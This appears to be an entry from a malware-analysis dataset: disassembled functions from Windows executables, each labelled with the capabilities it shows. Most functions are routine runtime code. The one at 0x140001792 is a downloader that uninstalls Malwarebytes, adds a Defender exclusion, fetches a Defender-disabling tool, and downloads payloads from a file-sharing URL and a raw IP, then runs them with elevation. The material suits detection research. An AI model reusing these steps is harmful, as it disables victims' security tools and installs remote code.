joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005640]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005650]
mov dword [rax], 1
mov rax, qword [0x140005660]
mov dword [rax], 1
mov rax, qword [0x1400055f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005630]
mov dword [0x14000900c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140005700]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400056e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400055a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001540
Capabilities:
Compare security identifiers

Disassembly:
push rbp
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0xc0]
mov dword [rbp - 0x34], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x46], 0
mov word [rbp - 0x42], 0x500
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 0x30]
mov r8, rdx
mov edx, 0x20008
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
sete al
test al, al
je 0x1400015a1
mov ebx, 0
jmp 0x14000174f
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
lea rax, [rbp - 0x21]
mov qword [rbp - 0x20], rax
nop
nop
mov eax, dword [rbp - 0x34]
mov ecx, eax
lea rdx, [rbp - 0x21]
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp - 0x21]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov edx, 0
mov rcx, rax
call method.std::vector_char__std::allocator_char___.operator___unsigned_long_long_
mov qword [rbp - 0x10], rax
mov r8d, dword [rbp - 0x34]
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x20], rdx
mov r9d, r8d
mov r8, rcx
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
test eax, eax
setne al
mov byte [rbp - 0x11], al
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
movzx eax, byte [rbp - 0x11]
xor eax, 1
test al, al
je 0x14000166c
mov ebx, 0
jmp 0x140001743
lea rax, [rbp - 0x46]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
sete al
test al, al
je 0x1400016d6
mov ebx, 0
jmp 0x140001743
mov byte [rbp - 1], 0
mov dword [rbp - 8], 0
jmp 0x140001717
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp - 8]
movsxd rdx, edx
shl rdx, 4
add rax, rdx
add rax, 8
mov rdx, qword [rax]
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_EqualSid]
call rax
test eax, eax
setne al
mov byte [rbp - 1], al
add dword [rbp - 8], 1
movzx eax, byte [rbp - 1]
xor eax, 1
test al, al
je 0x14000172f
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov edx, dword [rbp - 8]
cmp edx, eax
jb 0x1400016e3
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
movzx ebx, byte [rbp - 1]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
mov eax, ebx
jmp 0x140001788
add rsp, 0xc8
pop rbx
pop rbp
ret
Function at 0x140001792
Capabilities:
Create process on windows
Download url
Execute command
Get common file path
Receive data

Disassembly:
push rbp
push rdi
sub rsp, 0x2b8
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
call sym.chkadmin__
movzx eax, al
test eax, eax
sete al
test al, al
je 0x1400018fc
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
add rax, 0x2e707331
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.https:__anonsharing.com_file_9010255c1a5687de_MService.ps1
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov rax, qword [rbp + 0x218]
add rax, 0x64202e2f
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x218]
add rax, 0x64656c
mov qword [rbp + 0x208], rax
lea rdx, [rbp + 0xc0]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0xc0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x200]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0xffffffff
jmp 0x140001a0d
lea rax, str.C:Program_FilesMalwarebytes
mov qword [rbp + 0x228], rax
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x228]
mov rcx, rax
call dbg.stat
test eax, eax
sete al
test al, al
je 0x140001938
lea rax, str.cd_C:Program_FilesMalwarebytesAnti_Malware__mbuns.exe__unistall__verysilent__norestart__suppressmsgboxes
mov rcx, rax
call sym.system
lea rax, str.powershell__command__AddMpPreference__ExclusionExtension_.exe
mov rcx, rax
call sym.system
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:WindowsSysWOW64MStore.exe
lea rax, str.https:__github.com_qtkite_defender_control_releases_download_v1.5_disable_defender.exe
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [0x1400051d7]
lea r8, str.C:WindowsSysWOW64MStore.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:WindowsSysWOW64MService.exe
lea rax, str.http:__91.92.243.161_key.txt
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:WindowsSysWOW64MService.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x2b8
pop rdi
pop rbp
ret
Function at 0x140001d20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001d90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140009104]
mov rbx, rcx
test esi, esi
jle 0x140001ec0
mov rax, qword [0x140009108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001ddb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001dc0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ee2
mov rax, qword [0x140009108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140009108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ec7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001e5e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e70
add dword [0x140009104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140009108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001de8
mov rax, qword [0x140009108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002450
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140009140]
test rbx, rbx
je 0x1400024ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400024a3
test rsi, rsi
je 0x1400024a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002488
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400026c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400026d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400026e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400026f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000273d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002734
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000273f
add rax, 0x28
cmp rax, r9
jne 0x140002720
xor eax, eax
ret

Function at 0x140002740
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400027d0
mov rdx, qword [0x1400055f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400027be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400027be
cmp word [rax + 0x18], 0x20b
jne 0x1400027be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400027d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400027a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400027d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400027a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400027e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400055f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002800
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002808
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002800
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000285d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002854
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002800
add rax, 0x28
cmp rax, r9
jne 0x140002840
xor eax, eax
ret

Function at 0x140002860
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400055f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000287f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002888
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000287f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400055f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400028c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400028c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400028c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002910
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002907
test rcx, rcx
je 0x1400028c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400028f8
xor eax, eax
ret

Function at 0x140002920
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400055f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000293f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002948
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002960
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400055f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002980
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002988
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002980
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002980
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400029d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400029e0
add rdx, 0x28
cmp r9, rdx
jne 0x1400029c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400029f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400055f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002a12
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002a20
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a12
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002a12
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002a12
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002a75
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002a88
add rdx, 0x28
cmp rdx, r10
jne 0x140002a60
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002a97
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002aa7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a7e
test ecx, ecx
jg 0x140002a90
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400042d0
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push r13
push r14
mov eax, 0x1078
call fcn.140010b30
sub rsp, rax
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rbp, rdx
mov qword [rsp + 0x38], r9
mov rdx, qword [rsp + 0x10c0]
xor r14d, r14d
mov qword [rsp + 0x30], rdx
mov r13, r8
mov qword [rsp + 0x40], rcx
test r8, r8
je 0x140004352
mov r9d, 0x1000
lea rdx, [rsp + 0x50]
call fcn.1400027a0
test al, al
jne 0x14000435a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_read_module_headers
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, r14
jmp 0x140004442
mov qword [rsp + 0x10a8], rsi
mov qword [rsp + 0x1070], rdi
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x1068], r12
mov qword [rsp + 0x1060], r15
inc rdi
cmp byte [rdi + rbp], r14b
jne 0x140004381
movsxd rax, dword [rsp + 0x8c]
lea rcx, [rsp + 0x50]
add rcx, rax
mov esi, r14d
movzx eax, word [rcx + 0x14]
lea r12, [rcx + 0x18]
movzx r15d, word [rcx + 6]
add r12, rax
test r15d, r15d
je 0x1400043fc
nop dword [rax]
nop word [rax + rax]
mov eax, esi
mov r8, rdi
mov rdx, rbp
lea rcx, [rax + rax*4]
lea rbx, [r12 + rcx*8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400043f5
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], r14b
jne 0x1400043e3
cmp rdi, rax
je 0x14000447c
inc esi
cmp esi, r15d
jb 0x1400043c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_find_section
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, r14
mov r12, qword [rsp + 0x1068]
mov rdi, qword [rsp + 0x1070]
mov rsi, qword [rsp + 0x10a8]
mov r15, qword [rsp + 0x1060]
mov rax, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov r8d, r14d
mov qword [rsp + 0x20], rax
call fcn.140004150
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14000fa90
add rsp, 0x1078
pop r14
pop r13
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0xc]
test eax, eax
je 0x1400043fc
mov ecx, dword [rbx + 8]
lea rdx, [rsp + 0x50]
add rdx, rax
je 0x1400043fc
test ecx, ecx
je 0x1400043fc
lea rax, [rsp + 0x50]
mov r14d, ecx
sub rdx, rax
add rdx, r13
jmp 0x140004422
Function at 0x140005800
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000582d
xor eax, eax
jmp 0x140005999
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005867
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005867
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140005999
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000598c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400058aa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400058d5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005991
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005944
sub eax, 1
je 0x140005944
cmp eax, 2
jne 0x14000598c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005991
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005972
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000598c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140005991
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000fa90
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140005da0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140005e73
cmp byte [rcx + 0x71], 0
je 0x140005e73
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140005e6f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005e34
sub eax, 1
je 0x140005e38
cmp eax, 2
jne 0x140005e6f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000fa90
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140005e66
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140005e6f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140005e1c
xor al, al
jmp 0x140005e1c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000fa90
add rsp, 0x60
pop rbx
ret